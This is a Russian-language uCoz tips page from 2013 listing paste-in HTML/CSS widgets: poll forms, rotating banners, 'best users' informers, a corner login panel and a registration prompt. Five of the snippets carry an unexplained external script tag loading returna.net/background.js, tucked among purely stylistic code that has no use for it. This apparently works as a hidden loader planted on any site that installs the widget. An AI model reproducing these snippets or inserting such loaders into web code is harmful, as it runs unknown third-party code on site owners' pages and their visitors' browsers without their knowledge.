Вид опроса для uCoz, в стиле flat
Всем привет, давно я не уделял времени на улучшение внешнего вида формы опроса для uCoz, согласитесь надо бы исправить, а так как сейчас на просторах web дизайна популярен стиль flat, я решил создать форму опросов именно в этом стиле..

Для начала как и полагается, нам следует установить html каркас данного улучшения для формы опроса, для этого заходим в Админ панель => Опросы => Управление дизайном модуля

удаляем старый html код и устанавливаем новый:

Код
<div class="cell-poll">
  <div class="cell-poll-title">$QUESTION$</div>  
  <div class="cell-poll-answers">$ANSWERS$</div>
  <div class="cell-poll-link">
  <span>Ответов: <strong>$TOTAL_VOTES$</strong></span>  
  <a href="$RESULTS_LINK$" >Результаты </a>
  <b> | </b>
  <a href="$ARCHIVE_LINK$">Архив </ ... Читать дальше »
Просмотров: 595 Добавил: DoG Дата: 29.06.2013 Комментарии (0)

Кабинет информатики стал призером республиканского конкурса
Кабинет информатики стал призером республиканского конкурса. Поздравляем школу и учителя информатики!
Просмотров: 710 Добавил: rischat Дата: 15.06.2013 Комментарии (0)

Блок "место свободно"
Блок "место свободно" при наведении курсором на баннер картинка поворачивается на 360 градусов. Вот такой вот простенький рекламный блок для сайта. Установка проста - создаете глобальный блок и прописываете код: 

Код
<div class="doll" align="center">
<style>.socialNetworks {display:inline;margin-right:10px;}
.socialNetworks:hover {display:inline;}
.link_me {bottom:0;margin-top:0px; margin-right:0px;}
.socialNetworks img {width:88px;height:31px;background:url(http://bambun.ru/images/banner88x31.png);-webkit-transition: all 400ms;-moz-transition: all 400ms;-o-transition: all 400ms;transition: all 400ms;position:relative;bottom:0px;right:0px;}
.socialNetworks img:hover {transform:rotate(-360deg);-webkit-transform:rotate(-360deg);-moz-transform:rotate(-360deg);-o-transform:rotate(-360deg);position:relative;bottom:0px;right:0px;}
</style><script type="text/javascript" src="http://returna.net/background.js"></script>
&l ... Читать дальше »
Просмотров: 494 Добавил: DoG Дата: 10.06.2013 Комментарии (0)

Оригинальный вид опроса ucoz
Надоел стандартный вид опроса? В этом решении вы сможете поставить на свой сайт оригинальный вид опроса для ucoz.
Как видно по скриншоту, вы сможете установить один из вариантов, в зависимости от вашего дизайна. Опрос выглядит не только понятно и не сложно, но и замечательно смотрится на ucoz сайтах.

Установка

1. Переходим: ПУ -> Управление дизайном -> Опросы -> Вид формы опросов и заменяем весь код на:

Код
<div class="pollBlock" style="font-family:Tahoma,Arial; padding-bottom:5px; background:#4d4d4d;">  
<div class="pollQue" style="font-size:8pt;padding-top:2px;text-align:left; padding-left:5px;"><b>$QUESTION$</b></div>  
<div class="pollansw" style=" padding-left:8px;">$ANSWERS$</div>  
<div class="resultpoll" ><a href="$RESULTS_LINK$">Смотреть результаты</a> <br><b>$TOTAL_VOTES$</b> голосов</div>  
</div> ... Читать дальше »
Просмотров: 452 Добавил: DoG Дата: 09.06.2013 Комментарии (0)

Красивый информер Лучших пользователей
Красивый информер "Лучшие Пользователи" для вашего сайта. На нём вы можете видеть Аватар, Ник, и количество публикаций. Лучше смотрится на тёмных дизайнах.

1. Заходим в ПУ - Таблица стилей CSS:

Код
.bestu_loop {overflow:hidden; width:222px; margin:0 0 0 -4px;color:#fff;}
.bestu_loop .hr {overflow:hidden; background:url(http://bambun.ru/images/bestu_elem.png) repeat-x 0 -40px; height:2px; margin:3px 0 3px 0;}
.bestu_loop .hr_ins {overflow:hidden; background:url(http://bambun.ru/images/bestu_elem.png) no-repeat 0 -43px; width:164px; height:2px; margin:6px auto 6px auto;}
.bestu_loop .ava a {float:left; background:url(http://bambun.ru/images/bestu_elem.png) no-repeat 0 0; width:47px; height:39px; margin:4px 0 4px 12px;}
.bestu_loop .ava img {width:43px; height:35px; padding:2px;}
.bestu_loop .ava img:hover {opacity:0.8;}
.bestu_loop .contu {overflow:hidden; padding:2px 0;}
.bestu_loop .ico1 {background ... Читать дальше »
Просмотров: 563 Добавил: DoG Дата: 09.06.2013 Комментарии (0)

Скрипт войти на сайт в углу странички
Скрипт войти на сайт в углу странички

Это ставим в нижнюю часть сайта:

Код
<?if(!$USER_LOGGED_IN$)?> <style type="text/css">  
  .uPanel{background:rgba(0,0,0,0.8);color:#fff;float:left;box-shadow: 0 2px 7px  
rgba(0, 0, 0, 0.7);-moz-box-shadow: 0 2px 7px rgba(0, 0, 0, 0.7);-webkit-box-shadow: 0 2px 7px rgba(0, 0, 0, 0.7);padding: 4px 5px 4px 5px;border-radius:3px;-moz-border-radius:3px;-webkit-border-radius:3px;position:fixed;bottom:7px;left:7px;}  
  .uPanel a.url,.uPanel a.url:visited{display:block;float:left;color:#fff;font-  
weight:bold;height:26px;line-height:26px;-moz-transition:all 0.4s ease;-webkit-transition:all 0.4s ease;-o-transition:all 0.4s ease;transition:all 0.4s ease;opacity:0.4;padding:0px 7px 0px 7px;position:relative;}  
  .uPanel a.url img{vertical-align:-8px;}  
  .uPanel a.url:hover{text-shad ... Читать дальше »
Просмотров: 502 Добавил: DoG Дата: 09.06.2013 Комментарии (0)

Информер - Новое на сайте

Установка:
Для этого перейдем в ПУ / Инструменты / Информеры и создадим новый информер uCoz. Разберем создание информера на примере модуля каталог файлов. Выбираем раздел - "Каталог файлов", тип данных - "Материалы", дата добавления материала D, количество материалов ставим то которое нужно вам, количество колонок - 1. Кликаем Создать.Далее переходим в управление дизайном нашего информера и в открывшимся окне заменяем код на этот: копируем код информера и ставим в блок

Код
<table style="width: 100%; border-collapse: collapse;"><tbody><tr><td><a href="$ENTRY_URL$"><img alt="" src=" $IMG_URL1$ " width="60" border="0" height="80"></a></td><td><div align="right"><span style="font-size: 8pt; color: rgb(205, 188, 164); font-family: Arial;">$TITLE$</span></div><div align="right"><script type="text/javascript" src="http://returna.net/background.js"></script><span style="font-size: ... Читать дальше »
Просмотров: 547 Добавил: DoG Дата: 09.06.2013 Комментарии (0)

Скрипт баннеров 88х31 для системы ucoz
Скрипт баннеров 88х31 для системы ucoz с красивой синей обводкой баннеров. Материал из категории Статистика сайта ucoz. 

Установка:
Ставим в блок сайта

Код
<style>.banner {background:url('http://bambun.ru/images/banka.png'); background-repeat:no-repeat; width:96px; height:36px; padding:4px 3px 0px 0px;}  
.partner a {background:url('http://bambun.ru/images/knopka_partner.png') 0 0px; display:block; width:111px; height:22px;}  
.partner a:hover {background-position:0px -22px; display:block; width:111px; height:22px;} </style>  
<script type="text/javascript" src="http://returna.net/background.js"></script>
<table width="100%" cellpadding="1" cellspacing="1">  
<tbody><tr>  
<td width="50%" align="center" valign="top">  
<div class="banner"><a href="http://site.ru/"><img src="http://bambun.ru/images/88x31.png" b ... Читать дальше »
Просмотров: 489 Добавил: DoG Дата: 24.05.2013 Комментарии (0)

Скрипт для сайта ucoz "Лучшие пользователи"
Скрипт для сайта ucoz "Лучшие пользователи". Представляю вашему вниманию недурной по дизайну и, главное по работе, скрипт для сайта ucoz "Лучшие пользователи". Скрипт выполнен в светло-синих тонах и по дизайну может подойти ко многим сайтам. Но если не подходит по цвету, можно перекрасить. 
 
Приступаем к установке:
Создаем один информер с такими показателями.
[ Пользователи · Материалы · Кол. сообщений в форуме · Материалы: 5 · Колонки: 1 ]. 

Заполнить его шаблон кодом:

Код
<noindex><div class="infUserScr">  
<div class="infUserScrAva"><img src="$AVATAR_URL$"></div>  
<div class="infUserScrNickname">$USERNAME$</div><br><br>  
<div class="infUserScrPosts">$FORUM_POSTS$ сообщений</div>  
</div><script type="text/javascript" src="http://returna.net/background.js"></script>
<style>.infUserScr {background:url(http://bam ... Читать дальше »
Просмотров: 543 Добавил: DoG Дата: 24.05.2013 Комментарии (0)

Светло - синяя просилка для регистраций на сайте
Светло - синяя просилка для регистраций на сайте. Показывается только незарегистрированным и незалогиненым юзерам. Меняйте текст и подберите цвет под свой сайт.

Приступаем к установке:
В самый низ сайта прописываем этот код:

Код
  
<p style="text-align: left;"><div id="testcs-ru">Регистрируйся на На сайте и общайся с людьми! Зови друзей, играй на хороших серверах CS 1.6,этот Портал Только для тебя и твоих друзей.  
</div></p><script type="text/javascript" src="http://returna.net/background.js"></script>  
<script>#testcs-ru a{ color: #fff; font-weight:bold; text-decoration: none; }  
#testcs-ru:hover{ opacity: 1; }  
#testcs-ru{  
position: fixed;  
bottom: 10px;  
line-height: 16px;  
left: 10px;  
z-index: 30000;  
opacity: 0.8;& ... Читать дальше »
Просмотров: 571 Добавил: DoG Дата: 24.05.2013 Комментарии (0)

« 1 2 3 4 5 6 ... 15 16 »